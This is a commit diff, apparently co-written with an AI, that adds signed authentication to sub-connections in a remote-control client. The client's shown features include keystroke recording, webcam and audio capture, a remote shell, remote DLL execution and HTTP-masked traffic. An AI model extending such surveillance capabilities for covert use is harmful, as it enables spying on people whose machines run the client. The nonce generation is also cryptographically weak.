Feature: sub-connection auth (TOKEN_CONN_AUTH) with HMAC + clientID binding
Client first packet on every sub-connection signs (clientID || timestamp || nonce) and waits for server ack. Server verifies signature and pins clientID on the sub-connection ctx, eliminating IP-reverse-lookup unreliability for NAT/localhost scenarios. Sub-conn coverage: Win 12 sites, Linux/macOS 3-4 each. Main connection keeps existing TOKEN_LOGIN flow unchanged. Includes: - Protocol structs sized to 512/256 bytes with reserved space for future extensions (locale, OS info, session token, etc.) - 5-min timestamp tolerance (Kerberos-grade replay window) - 10-sec client wait for cross-pacific / weak-network tolerance - Fix RemoveFromHostList side-effect ordering: MarkDeviceOffline and m_ActiveWndW.erase now only fire when ctx is actually removed from m_HostList, preventing sub-conn disconnects from misreporting main as offline (regression introduced by auth-set clientID on sub ctx) - Fix latent bug: IOCPClient::m_conn was never assigned in ctor, leaving GetConnectionAddress() always NULL and FileManager V2 transfer's srcClientID always 0 Breaking change: new client cannot use sub-features against old server. New server tolerates legacy clients (no auth). Future tightening can reject unauthenticated sub-connections via IsAuthenticated() flag. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -1163,6 +1163,7 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
|
|||||||
|
|
||||||
// 创建新连接发送文件
|
// 创建新连接发送文件
|
||||||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn);
|
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn);
|
||||||
|
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||||
std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() {
|
std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() {
|
||||||
FileBatchTransferWorkerV2(allFiles, targetDir, pClient,
|
FileBatchTransferWorkerV2(allFiles, targetDir, pClient,
|
||||||
|
|||||||
@@ -100,6 +100,77 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, O
|
|||||||
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
|
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 子连接身份校验:发 TOKEN_CONN_AUTH 包后阻塞等服务端响应。
|
||||||
|
// signMessage 由私有库提供(与 KernelManager.cpp 验证主控签名同款),
|
||||||
|
// 空 publicKey/privateKey 走内置 HMAC。
|
||||||
|
extern std::string signMessage(const std::string& privateKey, BYTE* msg, int len);
|
||||||
|
bool IOCPClient::PerformConnAuth(uint64_t clientID, int timeoutMs)
|
||||||
|
{
|
||||||
|
ConnAuthPacket pkt = {};
|
||||||
|
pkt.token = TOKEN_CONN_AUTH;
|
||||||
|
pkt.clientID = clientID;
|
||||||
|
pkt.timestamp = (uint64_t)time(NULL);
|
||||||
|
// 16 字节 nonce:用 rand() + 时间扰动,强度够用(重放保护主要靠时间戳)
|
||||||
|
for (int i = 0; i < 16; ++i) {
|
||||||
|
pkt.nonce[i] = (uint8_t)((rand() ^ (clock() >> i)) & 0xFF);
|
||||||
|
}
|
||||||
|
|
||||||
|
BYTE sigInput[8 + 8 + 16];
|
||||||
|
memcpy(sigInput, &pkt.clientID, 8);
|
||||||
|
memcpy(sigInput + 8, &pkt.timestamp, 8);
|
||||||
|
memcpy(sigInput + 16, pkt.nonce, 16);
|
||||||
|
auto sig = signMessage("", sigInput, sizeof(sigInput));
|
||||||
|
size_t sigLen = sig.size() < 64 ? sig.size() : 64;
|
||||||
|
memcpy(pkt.signature, sig.data(), sigLen);
|
||||||
|
|
||||||
|
// 设置等待状态
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||||
|
m_authStatus = -1;
|
||||||
|
m_authPending = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发包;用 HttpMask 包装与其它子连接首包风格一致
|
||||||
|
HttpMask mask(DEFAULT_HOST, GetClientIPHeader());
|
||||||
|
int sent = Send2Server((char*)&pkt, sizeof(pkt), &mask);
|
||||||
|
if (sent <= 0) {
|
||||||
|
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||||
|
m_authPending = false;
|
||||||
|
Mprintf("[ConnAuth] 发送失败\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 等响应或超时
|
||||||
|
std::unique_lock<std::mutex> lk(m_authMtx);
|
||||||
|
bool got = m_authCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
|
||||||
|
[this]{ return !m_authPending; });
|
||||||
|
int status = m_authStatus;
|
||||||
|
m_authPending = false;
|
||||||
|
if (!got) {
|
||||||
|
Mprintf("[ConnAuth] 等待响应超时 (%d ms),判定失败\n", timeoutMs);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
bool ok = (status == CONN_AUTH_OK);
|
||||||
|
Mprintf("[ConnAuth] %s (status=%d)\n", ok ? "通过" : "失败", status);
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
|
||||||
|
{
|
||||||
|
if (!buf || len < sizeof(ConnAuthAck)) return false;
|
||||||
|
if (buf[0] != TOKEN_CONN_AUTH) return false;
|
||||||
|
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||||
|
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
|
||||||
|
const ConnAuthAck* ack = (const ConnAuthAck*)buf;
|
||||||
|
m_authStatus = ack->status;
|
||||||
|
m_authPending = false;
|
||||||
|
}
|
||||||
|
m_authCv.notify_all();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
|
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
|
||||||
const std::string& pubIP, void* main) : g_bExit(bExit)
|
const std::string& pubIP, void* main) : g_bExit(bExit)
|
||||||
@@ -119,6 +190,8 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
|||||||
}
|
}
|
||||||
|
|
||||||
m_main = main;
|
m_main = main;
|
||||||
|
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
|
||||||
|
// m_conn->clientID 现取主连接 ID(同一指针,主连接登录后填好的最新值)。
|
||||||
int encoder = conn ? conn->GetHeaderEncType() : 0;
|
int encoder = conn ? conn->GetHeaderEncType() : 0;
|
||||||
m_sLocPublicIP = pubIP;
|
m_sLocPublicIP = pubIP;
|
||||||
m_ServerAddr = {};
|
m_ServerAddr = {};
|
||||||
@@ -380,6 +453,27 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 子连接身份校验(opt-in 通过 EnableSubConnAuth 开启):
|
||||||
|
// - WorkThread 已经启动,能接收 ack 包并通过 TryHandleAuthResponse 唤醒等待。
|
||||||
|
// - clientID 优先用 EnableSubConnAuth 显式传入的值(Linux/macOS 客户端走此路径),
|
||||||
|
// 未显式传入时从 m_conn 现取(Windows 客户端走此路径)。
|
||||||
|
// - 校验失败:Disconnect 并返回 FALSE,让上层走重连或放弃逻辑。
|
||||||
|
if (m_subConnAuthEnabled) {
|
||||||
|
uint64_t cid = m_subConnAuthClientID;
|
||||||
|
if (cid == 0 && m_conn) cid = m_conn->clientID;
|
||||||
|
if (cid == 0) {
|
||||||
|
Mprintf("[ConnAuth] 跳过校验:clientID 尚未就绪(主连接还没拿到 ID)\n");
|
||||||
|
// 没拿到 ID 就别盲发,等下一次 Reconnect 时再试。视为本次连接失败。
|
||||||
|
Disconnect();
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
if (!PerformConnAuth(cid, CONN_AUTH_CLIENT_WAIT_MS)) {
|
||||||
|
Mprintf("[ConnAuth] 校验失败,断开连接\n");
|
||||||
|
Disconnect();
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -549,11 +643,16 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
|||||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||||
|
|
||||||
if (Z_SUCCESS(iRet)) { //如果解压成功
|
if (Z_SUCCESS(iRet)) { //如果解压成功
|
||||||
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
// 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
|
||||||
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
// 不在等待状态时返回 false,包透传给 manager(manager 一般也不识别此 token,
|
||||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
// 走 default 路径忽略,无副作用)。
|
||||||
if (ret) {
|
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
|
||||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
||||||
|
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
||||||
|
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||||
|
if (ret) {
|
||||||
|
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
|
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
|
||||||
|
|||||||
@@ -32,6 +32,8 @@
|
|||||||
#endif
|
#endif
|
||||||
#include "IOCPBase.h"
|
#include "IOCPBase.h"
|
||||||
#include <mutex>
|
#include <mutex>
|
||||||
|
#include <condition_variable>
|
||||||
|
#include <chrono>
|
||||||
|
|
||||||
#define MAX_RECV_BUFFER 1024*32
|
#define MAX_RECV_BUFFER 1024*32
|
||||||
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
|
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
|
||||||
@@ -259,6 +261,26 @@ public:
|
|||||||
m_LoginMsg = msg;
|
m_LoginMsg = msg;
|
||||||
m_LoginSignature = hmac;
|
m_LoginSignature = hmac;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 子连接身份校验:发 TOKEN_CONN_AUTH 包,等服务端 ConnAuthAck 响应。
|
||||||
|
// 返回 true 表示通过,false 表示超时/失败/网络错误。
|
||||||
|
// 主连接不调用此方法。新客户端必须调用并校验成功后才能继续后续命令。
|
||||||
|
// 已实现的协议扩展(如 KeyBoard 子连接的 cap word)保留不变,与本机制并行工作。
|
||||||
|
bool PerformConnAuth(uint64_t clientID, int timeoutMs);
|
||||||
|
|
||||||
|
// 让 ConnectServer 在每次成功后自动调一次 PerformConnAuth(opt-in)。
|
||||||
|
// 子连接构造后调用此方法启用。
|
||||||
|
// - clientID == 0:每次 auth 时从 m_conn->clientID 现取(Windows 客户端走此路径)。
|
||||||
|
// 这样即便 IOCPClient 创建时主连接还没拿到 ID,真正连上时也能用到最新值。
|
||||||
|
// - clientID != 0:显式指定(Linux/macOS 客户端 IOCPClient 不带 m_conn 时用此参数)。
|
||||||
|
void EnableSubConnAuth(bool enabled = true, uint64_t clientID = 0) {
|
||||||
|
m_subConnAuthEnabled = enabled;
|
||||||
|
m_subConnAuthClientID = clientID;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
|
||||||
|
// 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。
|
||||||
|
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
|
||||||
protected:
|
protected:
|
||||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||||
{
|
{
|
||||||
@@ -285,6 +307,16 @@ protected:
|
|||||||
BOOL m_bConnected;
|
BOOL m_bConnected;
|
||||||
|
|
||||||
std::mutex m_Locker;
|
std::mutex m_Locker;
|
||||||
|
|
||||||
|
// 子连接身份校验同步状态。仅在 PerformConnAuth 调用期间生效。
|
||||||
|
std::mutex m_authMtx;
|
||||||
|
std::condition_variable m_authCv;
|
||||||
|
int m_authStatus = -1; // -1 = 未启动;其它 = ConnAuthStatus
|
||||||
|
bool m_authPending = false; // true 时 TryHandleAuthResponse 才消费 ack
|
||||||
|
|
||||||
|
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
|
||||||
|
bool m_subConnAuthEnabled = false;
|
||||||
|
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
|
||||||
#if USING_CTX
|
#if USING_CTX
|
||||||
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
||||||
ZSTD_DCtx* m_Dctx; // 解压上下文
|
ZSTD_DCtx* m_Dctx; // 解压上下文
|
||||||
|
|||||||
@@ -53,7 +53,9 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
|
|||||||
{
|
{
|
||||||
ThreadInfo *tKeyboard = new ThreadInfo();
|
ThreadInfo *tKeyboard = new ThreadInfo();
|
||||||
tKeyboard->run = FOREVER_RUN;
|
tKeyboard->run = FOREVER_RUN;
|
||||||
tKeyboard->p = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
tKeyboard->p = sub;
|
||||||
tKeyboard->conn = conn;
|
tKeyboard->conn = conn;
|
||||||
tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL);
|
tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL);
|
||||||
return tKeyboard;
|
return tKeyboard;
|
||||||
@@ -956,7 +958,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_PROXY: {
|
case COMMAND_PROXY: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1060,33 +1066,49 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (m_hKeyboard) {
|
if (m_hKeyboard) {
|
||||||
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||||
} else {
|
} else {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_TALK: {
|
case COMMAND_TALK: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SHELL: {
|
case COMMAND_SHELL: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SYSTEM: { //远程进程管理
|
case COMMAND_SYSTEM: { //远程进程管理
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WSLIST: { //远程窗口管理
|
case COMMAND_WSLIST: { //远程窗口管理
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1121,14 +1143,22 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
|
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
|
||||||
}
|
}
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount].user = user;
|
m_hThread[m_ulThreadCount].user = user;
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_LIST_DRIVE : {
|
case COMMAND_LIST_DRIVE : {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1136,25 +1166,41 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
case COMMAND_WEBCAM: {
|
case COMMAND_WEBCAM: {
|
||||||
static bool hasCamera = WebCamIsExist();
|
static bool hasCamera = WebCamIsExist();
|
||||||
if (!hasCamera) break;
|
if (!hasCamera) break;
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_AUDIO: {
|
case COMMAND_AUDIO: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_REGEDIT: {
|
case COMMAND_REGEDIT: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SERVICES: {
|
case COMMAND_SERVICES: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1272,6 +1318,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
opts.enableResume = queryPending; // 只有发送了查询才等待响应
|
opts.enableResume = queryPending; // 只有发送了查询才等待响应
|
||||||
|
|
||||||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
|
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
|
||||||
|
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||||
std::thread([files, targetDir, pClient, opts, hash, hmac]() {
|
std::thread([files, targetDir, pClient, opts, hash, hmac]() {
|
||||||
FileBatchTransferWorkerV2(files, targetDir, pClient,
|
FileBatchTransferWorkerV2(files, targetDir, pClient,
|
||||||
|
|||||||
@@ -333,8 +333,60 @@ enum {
|
|||||||
CMD_EXECUTE_DLL_NEW = 243, // 执行代码
|
CMD_EXECUTE_DLL_NEW = 243, // 执行代码
|
||||||
CMD_PEER_TO_PEER = 244, // P2P通信
|
CMD_PEER_TO_PEER = 244, // P2P通信
|
||||||
TOKEN_CLIENTID = 245,
|
TOKEN_CLIENTID = 245,
|
||||||
|
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck)
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// 子连接校验:HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
|
||||||
|
// 钉在子连接 ctx 上,后续命令免 IP 反查直接拿到主连接关联。
|
||||||
|
// 主连接(TOKEN_LOGIN 流)不走此校验。
|
||||||
|
//
|
||||||
|
// 兼容性策略:
|
||||||
|
// - 老客户端不发 → 新服务端宽容(保留 IP 反查兜底,行为不变)。
|
||||||
|
// - 新客户端发出 → 等服务端 ConnAuthAck,超时或失败则不继续。
|
||||||
|
// - 因此新客户端只能向新服务端连接(破坏性升级)。
|
||||||
|
// - 未来收紧:服务端可拒绝所有未通过 auth 的子连接。
|
||||||
|
//
|
||||||
|
// 协议固定为 512 / 256 字节(参照 LOGIN_INFOR::szReserved[512] 的做法),
|
||||||
|
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
|
||||||
|
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
|
||||||
|
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
struct ConnAuthPacket {
|
||||||
|
uint8_t token; // = TOKEN_CONN_AUTH [1]
|
||||||
|
uint64_t clientID; // 客户端 V2 ID(MachineGuid + 归一化路径算出) [8]
|
||||||
|
uint64_t timestamp; // 客户端发包时的 Unix 秒,防重放第一道 [8]
|
||||||
|
uint8_t nonce[16]; // 随机数,进一步降低重放/碰撞概率 [16]
|
||||||
|
char signature[64]; // signMessage("", clientID||timestamp||nonce, 32) [64]
|
||||||
|
char reserved[415]; // 预留扩展 [415]
|
||||||
